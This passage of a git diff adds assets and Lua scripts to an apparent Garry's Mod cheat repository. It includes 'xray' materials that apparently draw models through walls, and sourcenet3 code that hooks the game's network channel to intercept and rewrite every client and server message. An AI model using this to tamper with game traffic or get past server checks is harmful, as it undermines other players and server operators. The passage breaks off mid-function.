10/materials/vgui/notices/oldgeneric.vtf new file mode 100644 index 0000000..94e8f9f Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/oldgeneric.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/oldhint.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/oldhint.vmt new file mode 100644 index 0000000..b4679ba --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/oldhint.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "vgui/notices/oldhint" + "$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/oldhint.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/oldhint.vtf new file mode 100644 index 0000000..8984e7b Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/oldhint.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/oldundo.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/oldundo.vmt new file mode 100644 index 0000000..55b58e8 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/oldundo.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "vgui/notices/oldundo" + "$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/oldundo.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/oldundo.vtf new file mode 100644 index 0000000..01239c3 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/oldundo.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/xray/living.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/xray/living.vmt new file mode 100644 index 0000000..2e9fc86 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/xray/living.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "color/white" + "$model" 1 + "$translucent" 1 + "$alpha" 1 + "$nocull" 1 + "$ignorez" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/xray/prop.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/xray/prop.vmt new file mode 100644 index 0000000..1a61449 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/xray/prop.vmt @@ -0,0 +1,6 @@ +"VertexLitGeneric" +{ + "$basetexture" "color/white" + "$model" 1 + "$ignorez" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/particles/burning_fx.pcf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/particles/burning_fx.pcf new file mode 100644 index 0000000..e4940e0 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/particles/burning_fx.pcf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/particles/chappi_explosion.pcf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/particles/chappi_explosion.pcf new file mode 100644 index 0000000..da97091 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/particles/chappi_explosion.pcf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/particles/particles_manifest.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/particles/particles_manifest.txt new file mode 100644 index 0000000..2bf035f --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/particles/particles_manifest.txt @@ -0,0 +1,5 @@ +particles_manifest +{ + "file" "particles/vman_explosion.pcf" + "file" "particles/chappi_explosion.pcf" +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/particles/vman_explosion.pcf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/particles/vman_explosion.pcf new file mode 100644 index 0000000..c4a0444 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/particles/vman_explosion.pcf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/sound/talk.wav b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/sound/talk.wav new file mode 100644 index 0000000..018dcaa Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/sound/talk.wav differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/SN3/sn3_base_cl.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/SN3/sn3_base_cl.lua new file mode 100644 index 0000000..ce628d7 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/SN3/sn3_base_cl.lua @@ -0,0 +1,97 @@ +require("sourcenet3") +print("SN3 loaded") + +MENU = true + +NET_HOOKS = NET_HOOKS || { attach = {}, detach = {} } + +function HookNetChannel( ... ) + local args = { ... } + + for k, v in pairs( args ) do + local name = v.name:gsub( "::", "_" ) + + local exists = false + + for k, v in pairs( NET_HOOKS.attach ) do + if ( v.name == name ) then + exists = true + + break + end + end + + if ( !exists ) then + table.insert( NET_HOOKS.attach, { name = name, hook = _G[ "Attach__" .. name ], func = v.func, args = v.args, nochan = v.nochan } ) + table.insert( NET_HOOKS.detach, { name = name, hook = _G[ "Detach__" .. name ], func = v.func, args = v.args, nochan = v.nochan } ) + end + end + + local function StandardNetHook( netchan, nethook ) + local args = {} + + if ( nethook.func ) then + table.insert( args, nethook.func( netchan ) ) + elseif ( !nethook.nochan ) then + table.insert( args, netchan ) + end + + if ( nethook.args ) then + for k, v in pairs( nethook.args ) do + table.insert( args, v ) + end + end + + nethook.hook( unpack( args ) ) + end + + local function AttachNetChannel( netchan ) + if ( !netchan ) then return false end + + Attach__CNetChan_Shutdown( netchan ) + + for k, v in pairs( NET_HOOKS.attach ) do + StandardNetHook( netchan, v ) + end + + return true + end + + local function DetachNetChannel( netchan ) + if ( !netchan ) then return false end + + Detach__CNetChan_Shutdown( netchan ) + + for k, v in pairs( NET_HOOKS.detach ) do + StandardNetHook( netchan, v ) + end + + return true + end + + if ( !AttachNetChannel( CNetChan() ) ) then + hook.Add( "Think", "CreateNetChannel", function() -- Wait until channel is created + if ( CNetChan() ) then + AttachNetChannel( CNetChan() ) + + hook.Remove( "Think", "CreateNetChannel" ) + end + end ) + end + + hook.Add( "PreNetChannelShutdown", "DetachHooks", function( netchan, reason ) + DetachNetChannel( netchan ) + + if ( MENU ) then + NET_HOOKS = NET_HOOKS || { attach = {}, detach = {} } + + hook.Add( "Think", "DestroyNetChannel", function() -- Ensure the current channel is destroyed before waiting for a new one + if ( !CNetChan() ) then + HookNetChannel( unpack( args ) ) + + hook.Remove( "Think", "DestroyNetChannel" ) + end + end ) + end + end ) +end \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/SN3/sn3_base_gameevents.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/SN3/sn3_base_gameevents.lua new file mode 100644 index 0000000..42245aa --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/SN3/sn3_base_gameevents.lua @@ -0,0 +1,50 @@ +include( "custom_menu/SN3/sn3_base_incoming.lua" ) +include( "custom_menu/SN3/sn3_base_outgoing.lua" ) + +local function FilterGameEvent( netchan, read, write, hookname ) + local bits = read:ReadUBitLong( 11 ) + local data = read:ReadBits( bits ) + + if ( !read:IsOverflowed() ) then + local buffer = sn3_bf_read( data, bits ) + local event = IGameEventManager2():UnserializeEvent( buffer ) + + buffer:FinishReading() + + local result = hook.Call( hookname, nil, netchan, event ) + + if ( result != false ) then + write:WriteUBitLong( svc_GameEvent, NET_MESSAGE_BITS ) + + if ( type( result ) == "IGameEvent" ) then + local serialized_data = UCHARPTR( 2048 ) + local serialized_buffer = sn3_bf_write( serialized_data, 2048 ) + + IGameEventManager2():SerializeEvent( event, serialized_buffer ) + + write:WriteUBitLong( serialized_buffer:GetNumBitsWritten(), 11 ) + write:WriteBits( serialized_buffer:GetBasePointer(), serialized_buffer:GetNumBitsWritten() ) + + serialized_buffer:FinishWriting() + serialized_data:Delete() + else + write:WriteUBitLong( bits, 11 ) + write:WriteBits( data, bits ) + end + end + + event:Delete() + end + + data:Delete() +end + +if ( CLIENT ) then + FilterIncomingMessage( svc_GameEvent, function( netchan, read, write ) + FilterGameEvent( netchan, read, write, "ProcessGameEvent" ) + end ) +else + FilterOutgoingMessage( svc_GameEvent, function( netchan, read, write ) + FilterGameEvent( netchan, read, write, "SendGameEvent" ) + end ) +end \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/SN3/sn3_base_incoming.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/SN3/sn3_base_incoming.lua new file mode 100644 index 0000000..5f9dcac --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/SN3/sn3_base_incoming.lua @@ -0,0 +1,68 @@ + + + include( "custom_menu/SN3/sn3_base_cl.lua" ) + +include( "custom_menu/SN3/sn3_base_netmessages.lua" ) + +-- Initialization + +HookNetChannel( + { name = "CNetChan::ProcessMessages", nochan = true } +) + +hook.Add( "PreProcessMessages", "InFilter", function( netchan, read, write ) + hook.Call( "BASE_PreProcessMessages", nil, netchan, read, write ) + + local totalbits = read:GetNumBitsLeft() + read:GetNumBitsRead() + + while ( read:GetNumBitsLeft() >= NET_MESSAGE_BITS ) do + local msg = read:ReadUBitLong( NET_MESSAGE_BITS ) + local handler = NET_MESSAGES[ msg ] + + if ( !handler ) then + if ( CLIENT ) then + handler = NET_MESSAGES.SVC[ msg ] + else + handler = NET_MESSAGES.CLC[ msg ] + end + + if ( !handler ) then + Msg( "Unknown incoming message: " .. msg .. "\n" ) + + write:Seek( totalbits ) + + break + end + end + + local func = handler.IncomingCopy or handler.DefaultCopy + + if ( func( netchan, read, write ) == false ) then + Msg( "Failed to filter message " .. msg .. "\n" ) + + write:Seek( totalbits ) + + break + end + end +end ) + +function FilterIncomingMessage( msg, func ) + local handler = NET_MESSAGES[ msg ] + + if ( !handler ) then + if ( CLIENT ) then + handler = NET_MESSAGES.SVC[ msg ] + else + handler = NET_MESSAGES.CLC[ msg ] + end + end + + if ( !handler ) then return end + + handler.IncomingCopy = func +end + +function UnFilterIncomingMessage( msg ) + FilterIncomingMessage( msg, nil ) +end \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/SN3/sn3_base_netmessages.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/SN3/sn3_base_netmessages.lua new file mode 100644 index 0000000..9f6f103 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/SN3/sn3_base_netmessages.lua @@ -0,0 +1,866 @@ +require( "sourcenet3" ) + +function debugprint( ... ) + --print( ... ) +end + +MAX_TABLES = 32 + +function math.log2( val ) + return math.log( val ) / math.log( 2 ) +end + +NET_MESSAGES = { + [ net_NOP ] = { -- 0 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( net_NOP, NET_MESSAGE_BITS ) + end + }, + + [ net_Disconnect ] = { -- 1 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( net_Disconnect, NET_MESSAGE_BITS ) + + local reason = read:ReadString() + write:WriteString( reason ) + + debugprint( "net_Disconnect", reason ) + end + }, + + [ net_File ] = { -- 2 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( net_File, NET_MESSAGE_BITS ) + + local transferid = read:ReadUBitLong( 32 ) + write:WriteUBitLong( transferid, 32 ) + + local filename = read:ReadString() + write:WriteString( filename ) + + local requested = read:ReadOneBit() + write:WriteOneBit( requested ) + + debugprint( "net_File", transferid, filename, ( requested == 1 ) ) + end + }, + + [ net_Tick ] = { -- 3 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( net_Tick, NET_MESSAGE_BITS ) + + local tick = read:ReadLong() + write:WriteLong( tick ) + + local unk1 = read:ReadUBitLong( 16 ) -- 14h + write:WriteUBitLong( unk1, 16 ) + + local unk2 = read:ReadUBitLong( 16 ) -- 18h + write:WriteUBitLong( unk2, 16 ) + + debugprint( "net_Tick", tick, unk1, unk2 ) + end + }, + + [ net_StringCmd ] = { -- 4 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( net_StringCmd, NET_MESSAGE_BITS ) + + local cmd = read:ReadString() + write:WriteString( cmd ) + + debugprint( "net_StringCmd", cmd ) + end + }, + + [ net_SetConVar ] = { -- 5 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( net_SetConVar, NET_MESSAGE_BITS ) + + local count = read:ReadByte() + write:WriteByte( count ) + + for i = 1, count do + local cvarname = read:ReadString() + write:WriteString( cvarname ) + + local cvarvalue = read:ReadString() + write:WriteString( cvarvalue ) + + debugprint( "net_SetConVar", cvarname, "=", cvarvalue ) + end + end + }, + + [ net_SignonState ] = { -- 6 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( net_SignonState, NET_MESSAGE_BITS ) + + local state = read:ReadByte() + write:WriteByte( state ) + + local servercount = read:ReadLong() + write:WriteLong( servercount ) + + debugprint( "net_SignonState", state, servercount ) + end + }, + + CLC = { + [ clc_ClientInfo ] = { -- 8 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( clc_ClientInfo, NET_MESSAGE_BITS ) + + local spawncount = read:ReadLong() -- 14h, server spawn count - reconnects client if incorrect + write:WriteLong( spawncount ) + + local sendTableCRC = read:ReadLong() -- 10h + write:WriteLong( sendTableCRC ) + + local ishltv = read:ReadOneBit() -- 18h, requires tv_enable + write:WriteOneBit( ishltv ) + + local friendsID = read:ReadLong() -- 1Ch + write:WriteLong( friendsID ) + + local guid = read:ReadString() -- 20h, hashed CD Key (32 hex alphabetic chars + 0 terminator) + write:WriteString( guid ) + + for i = 1, MAX_CUSTOM_FILES do + local useFile = read:ReadOneBit() -- 40h, 44h, 48h, 4Ch + write:WriteOneBit( useFile ) + + local fileCRC + + if ( useFile == 1 ) then + fileCRC = read:ReadUBitLong( 32 ) + + write:WriteUBitLong( fileCRC, 32 ) + + debugprint( "\t> customization file " .. i .. " = " .. fileCRC ) + else + fileCRC = 0 + end + end + + local unk = read:ReadOneBit() -- 19h, probably replay related + write:WriteOneBit( unk ) + + debugprint( "clc_ClientInfo", spawncount, sendTableCRC, ishltv == 1, friendsID, guid, unk ) + end + }, + + [ clc_Move ] = { -- 9 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( clc_Move, NET_MESSAGE_BITS ) + + local new = read:ReadUBitLong( 4 ) + write:WriteUBitLong( new, 4 ) + + local backup = read:ReadUBitLong( 3 ) + write:WriteUBitLong( backup, 3 ) + + local bits = read:ReadWord() + write:WriteWord( bits ) + + local data = read:ReadBits( bits ) + write:WriteBits( data, bits ) + data:Delete() + + debugprint( "clc_Move", new, backup, bits ) + end + }, + + [ clc_VoiceData ] = { -- 10 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( clc_VoiceData, NET_MESSAGE_BITS ) + + local bits = read:ReadWord() + write:WriteWord( bits ) + + local data = read:ReadBits( bits ) + write:WriteBits( data, bits ) + data:Delete() + + debugprint( "clc_VoiceData", bits ) + end + }, + + [ clc_BaselineAck ] = { -- 11 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( clc_BaselineAck, NET_MESSAGE_BITS ) + + local tick = read:ReadLong() -- 10h + write:WriteLong( tick ) + + local unk2 = read:ReadUBitLong( 1 ) -- 14h + write:WriteUBitLong( unk2, 1 ) + + debugprint( "clc_BaselineAck", tick, unk2 ) + end + }, + + [ clc_ListenEvents ] = { -- 12 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( clc_ListenEvents, NET_MESSAGE_BITS ) + + debugprint( "clc_ListenEvents" ) + + for i = 1, 16 do + local unk1 = read:ReadUBitLong( 32 ) + write:WriteUBitLong( unk1, 32 ) + end + end + }, + + [ clc_RespondCvarValue ] = { -- 13 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( clc_RespondCvarValue, NET_MESSAGE_BITS ) + + local cookie = read:ReadSBitLong( 32 ) -- 10h + write:WriteSBitLong( cookie, 32 ) + + local status = read:ReadSBitLong( 4 ) -- 1Ch + write:WriteSBitLong( status, 4 ) + + local cvarname = read:ReadString() -- 14h + write:WriteString( cvarname ) + + local cvarvalue = read:ReadString() -- 18h + write:WriteString( cvarvalue ) + + debugprint( "clc_RespondCvarValue", cookie, status, cvarname, cvarvalue ) + end + }, + + [ clc_FileCRCCheck ] = { -- 14 (Untested) + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( clc_FileCRCCheck, NET_MESSAGE_BITS ) + + local unk1 = read:ReadOneBit() + write:WriteOneBit( unk1 ) + + local gamepath = read:ReadUBitLong( 2 ) + write:WriteUBitLong( gamepath, 2 ) + + local unk3 + + if ( gamepath == 0 ) then + unk3 = read:ReadString() -- 10h + write:WriteString( unk3 ) + end + + local unk4 = read:ReadUBitLong( 3 ) + write:WriteUBitLong( unk4, 3 ) + + local filename = read:ReadString() + write:WriteString( filename ) + + local unk6 = read:ReadUBitLong( 32 ) + write:WriteUBitLong( unk6, 32 ) + + debugprint( "FileCRCCheck", unk1, gamepath, unk3, unk4, filename, unk6 ) + end + }, + + [ clc_CmdKeyValues ] = { -- 16 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( clc_CmdKeyValues, NET_MESSAGE_BITS ) + + local length = read:ReadLong() + write:WriteLong( length ) + + local keyvalues = read:ReadBits( length * 8 ) + write:WriteBits( keyvalues, length * 8 ) + keyvalues:Delete() + + debugprint( "clc_CmdKeyValues", length ) + end + }, + + [ clc_FileMD5Check ] = { -- 17 (Untested, seems to just copy FileCRCCheck?) + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( clc_FileMD5Check, NET_MESSAGE_BITS ) + + local unk1 = read:ReadOneBit() + write:WriteOneBit( unk1 ) + + local gamepath = read:ReadUBitLong( 2 ) + write:WriteUBitLong( gamepath, 2 ) + + local unk3 + + if ( gamepath == 0 ) then + unk3 = read:ReadString() -- 10h + write:WriteString( unk3 ) + end + + local unk4 = read:ReadUBitLong( 3 ) + write:WriteUBitLong( unk4, 3 ) + + local filename = read:ReadString() + write:WriteString( filename ) + + local unk6 = read:ReadUBitLong( 32 ) + write:WriteUBitLong( unk6, 32 ) + + debugprint( "FileMD5Check", unk1, gamepath, unk3, unk4, filename, unk6 ) + end + }, + }, + + SVC = { + [ svc_Print ] = { -- 7 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_Print, NET_MESSAGE_BITS ) + + local str = read:ReadString() + write:WriteString( str ) + + debugprint( "svc_Print [" .. str .. "]" ) + end + }, + + [ svc_ServerInfo ] = { -- 8 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_ServerInfo, NET_MESSAGE_BITS ) + + -- Protocol version number + local version = read:ReadShort() + write:WriteShort( version ) + + -- # of servers spawned since server .exe started + -- So that we can detect new server startup during download, etc. + -- Map change causes new server to "spawn". + local servercount = read:ReadLong() + write:WriteLong( servercount ) + + -- Is SourceTV enabled? + local sourcetv = read:ReadOneBit() + write:WriteOneBit( sourcetv ) + + -- 0 == listen, 1 == dedicated + local dedicated = read:ReadOneBit() + write:WriteOneBit( dedicated ) + + -- The client side DLL CRC check. + local serverclientcrc = read:ReadLong() + write:WriteLong( serverclientcrc ) + + -- Max amount of 'classes' (entity classes?) + local maxclasses = read:ReadWord() + write:WriteWord( maxclasses ) + +--[[ + -- The CRC of the server map must match the CRC of the client map. or else + -- the client is probably cheating. + local servermapcrc = read:ReadLong() + write:WriteLong( servermapcrc ) +--]] + + -- The MD5 of the server map must match the CRC of the client map. or else + -- the client is probably cheating. + local servermapmd5 = read:ReadBytes( 16 ) + write:WriteBytes( servermapmd5, 16 ) + servermapmd5:Delete() + + -- Amount of clients currently connected + local playernum = read:ReadByte() + write:WriteByte( playernum ) + + -- Max amount of clients + local maxclients = read:ReadByte() + write:WriteByte( maxclients ) + + -- Interval between ticks + local interval_per_tick = read:ReadFloat() + write:WriteFloat( interval_per_tick ) + + -- Server platform ('w', ...?) + local platform = read:ReadChar() + write:WriteChar( platform ) + + -- Directory used by game (eg. garrysmod) + local gamedir = read:ReadString() + write:WriteString( gamedir ) + + -- Map being played + local levelname = read:ReadString() + write:WriteString( levelname ) + + -- Skybox to use + local skyname = read:ReadString() + write:WriteString( skyname ) + + -- Server name + local hostname = read:ReadString() + write:WriteString( hostname ) + + -- Unknown bit (1Ah), probably replay + local unk = read:ReadOneBit() + write:WriteOneBit( unk ) + + debugprint( "svc_ServerInfo", hostname, unk ) + end + }, + + [ svc_SendTable ] = { -- 9 (Untested!) + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_SendTable, NET_MESSAGE_BITS ) + + local encoded = read:ReadOneBit() + write:WriteOneBit( encoded ) + + local bits = read:ReadShort() --14 + write:WriteShort( bits ) + + local data = read:ReadBits( bits ) + write:WriteBits( data, bits ) + data:Delete() + + debugprint( "svc_SendTable", ( encoded == 1 ), bits ) + end + }, + + [ svc_ClassInfo ] = { -- 10 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_ClassInfo, NET_MESSAGE_BITS ) + + local numclasses = read:ReadShort() + write:WriteShort( numclasses ) + + local useclientclasses = read:ReadOneBit() + write:WriteOneBit( useclientclasses ) + + if ( useclientclasses == 0 ) then + for i = 1, numclasses do + local unk3 = read:ReadUBitLong( math.log2( numclasses ) + 1 ) + write:WriteUBitLong( unk3, math.log2( numclasses ) + 1 ) + + local unk4 = read:ReadString() + write:WriteString( unk4 ) + + local unk5 = read:ReadString() + write:WriteString( unk5 ) + + debugprint( "Full update", unk3, unk4, unk5 ) + end + end + + debugprint( "svc_ClassInfo", numclasses, useclientclasses ) + end + }, + + [ svc_SetPause ] = { -- 11 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_SetPause, NET_MESSAGE_BITS ) + + local state = read:ReadOneBit() + write:WriteOneBit( state ) + + debugprint( "svc_SetPause", ( state == 1 ) ) + end + }, + + [ svc_CreateStringTable ] = { -- 12 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_CreateStringTable, NET_MESSAGE_BITS ) + + local tablename = read:ReadString() + write:WriteString( tablename ) + + local maxentries = read:ReadWord() + write:WriteWord( maxentries ) + + local entries = read:ReadUBitLong( math.log2( maxentries ) + 1 ) + write:WriteUBitLong( entries, math.log2( maxentries ) + 1 ) + + local bits = read:ReadUBitLong( 20 ) + write:WriteUBitLong( bits, 20 ) + + local userdata = read:ReadOneBit() + write:WriteOneBit( userdata ) + + if ( userdata == 1 ) then + local userdatasize = read:ReadUBitLong( 12 ) + write:WriteUBitLong( userdatasize, 12 ) + + local userdatabits = read:ReadUBitLong( 4 ) + write:WriteUBitLong( userdatabits, 4 ) + end + + local compressed = read:ReadOneBit() + write:WriteOneBit( compressed ) + + local data = read:ReadBits( bits ) + write:WriteBits( data, bits ) + data:Delete() + + debugprint( "svc_CreateStringTable", tablename ) + end + }, + + [ svc_UpdateStringTable ] = { -- 13 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_UpdateStringTable, NET_MESSAGE_BITS ) + + local tableid = read:ReadUBitLong( math.log2( MAX_TABLES ) ) -- 10h + write:WriteUBitLong( tableid, math.log2( MAX_TABLES ) ) + + local unk2 = read:ReadOneBit() + write:WriteOneBit( unk2 ) + + local changed + + if ( unk2 == 1 ) then + changed = read:ReadWord() -- 14h + write:WriteWord( changed ) + else + changed = 1 + end + + local bits = read:ReadUBitLong( 20 ) -- 18h + write:WriteUBitLong( bits, 20 ) + + local data = read:ReadBits( bits ) + write:WriteBits( data, bits ) + data:Delete() + + debugprint( "svc_UpdateStringTable", "table="..tableid..",", ( unk2 == 1 ), "changed="..changed..",", bits ) + end + }, + + [ svc_VoiceInit ] = { -- 14 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_VoiceInit, NET_MESSAGE_BITS ) + + local codec = read:ReadString() + write:WriteString( codec ) + + local quality = read:ReadByte() + write:WriteByte( quality ) + + debugprint( "svc_VoiceInit", codec, quality ) + end + }, + + [ svc_VoiceData ] = { -- 15 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_VoiceData, NET_MESSAGE_BITS ) + + local client = read:ReadByte() -- 10h + write:WriteByte( client ) + + local proximity = read:ReadByte() -- 14h + write:WriteByte( proximity ) + + local bits = read:ReadWord() -- 18h + write:WriteWord( bits ) + + local voicedata = read:ReadBits( bits ) + write:WriteBits( voicedata, bits ) + voicedata:Delete() + + debugprint( "svc_VoiceData", client, proximity, bits ) + end + }, + + [ svc_Sounds ] = { -- 17 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_Sounds, NET_MESSAGE_BITS ) + + local reliable = read:ReadOneBit() + write:WriteOneBit( reliable ) + + local num + local bits + + if ( reliable == 0 ) then + num = read:ReadUBitLong( 8 ) + write:WriteUBitLong( num, 8 ) + + bits = read:ReadUBitLong( 16 ) + write:WriteUBitLong( bits, 16 ) + else + num = 1 + + bits = read:ReadUBitLong( 8 ) + write:WriteUBitLong( bits, 8 ) + end + + local data = read:ReadBits( bits ) + write:WriteBits( data, bits ) -- Check out SoundInfo_t::ReadDelta if you want to read this + data:Delete() + + debugprint( "svc_Sounds", ( reliable == 1 ), num, bits ) + end + }, + + [ svc_SetView ] = { -- 18 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_SetView, NET_MESSAGE_BITS ) + + local viewent = read:ReadUBitLong( 11 ) + write:WriteUBitLong( viewent, 11 ) + + debugprint( "svc_SetView", viewent ) + end + }, + + [ svc_FixAngle ] = { -- 19 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_FixAngle, NET_MESSAGE_BITS ) + + local relative = read:ReadOneBit() + write:WriteOneBit( relative ) + + local x = read:ReadBitAngle( 16 ) + write:WriteBitAngle( x, 16 ) + + local y = read:ReadBitAngle( 16 ) + write:WriteBitAngle( y, 16 ) + + local z = read:ReadBitAngle( 16 ) + write:WriteBitAngle( z, 16 ) + + debugprint( "svc_FixAngle", ( relative == 1 ), x, y, z ) + end + }, + + [ svc_CrosshairAngle ] = { -- 20 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_CrosshairAngle, NET_MESSAGE_BITS ) + + local p = read:ReadBitAngle( 16 ) + write:WriteBitAngle( p, 16 ) + + local y = read:ReadBitAngle( 16 ) + write:WriteBitAngle( y, 16 ) + + local r = read:ReadBitAngle( 16 ) + write:WriteBitAngle( r, 16 ) + + debugprint( "svc_CrosshairAngle", p, y, r ) + end + }, + + [ svc_BSPDecal ] = { -- 21 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_BSPDecal, NET_MESSAGE_BITS ) + + local pos = read:ReadBitVec3Coord() -- 10h + write:WriteBitVec3Coord( pos ) + + local texture = read:ReadUBitLong( 9 ) -- 1Ch + write:WriteUBitLong( texture, 9 ) + + local useentity = read:ReadOneBit() + write:WriteOneBit( useentity ) + + local ent -- 20h + local modulation -- 24h + + if ( useentity == 1 ) then + ent = read:ReadUBitLong( 11 ) + write:WriteUBitLong( ent, 11 ) + + modulation = read:ReadUBitLong( 12 ) -- In engine build 4421 -> 4426 this changed from 11 to 12 bits + write:WriteUBitLong( modulation, 12 ) + else + ent = 0 + modulation = 0 + end + + local lowpriority = read:ReadOneBit() -- "Replaceable", 28h + write:WriteOneBit( lowpriority ) + + debugprint( string.format( "svc_BSPDecal %s, %d, %d, %d, %d, %d", tostring( pos ), texture, useentity, ent, modulation, lowpriority ) ) + end + }, + + [ svc_UserMessage ] = { -- 23 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_UserMessage, NET_MESSAGE_BITS ) + + local msgtype = read:ReadByte() -- 10h + write:WriteByte( msgtype ) + + local bits = read:ReadUBitLong( 11 ) -- 14h + write:WriteUBitLong( bits, 11 ) + + local data = read:ReadBits( bits ) + write:WriteBits( data, bits ) + data:Delete() + + debugprint( "svc_UserMessage", 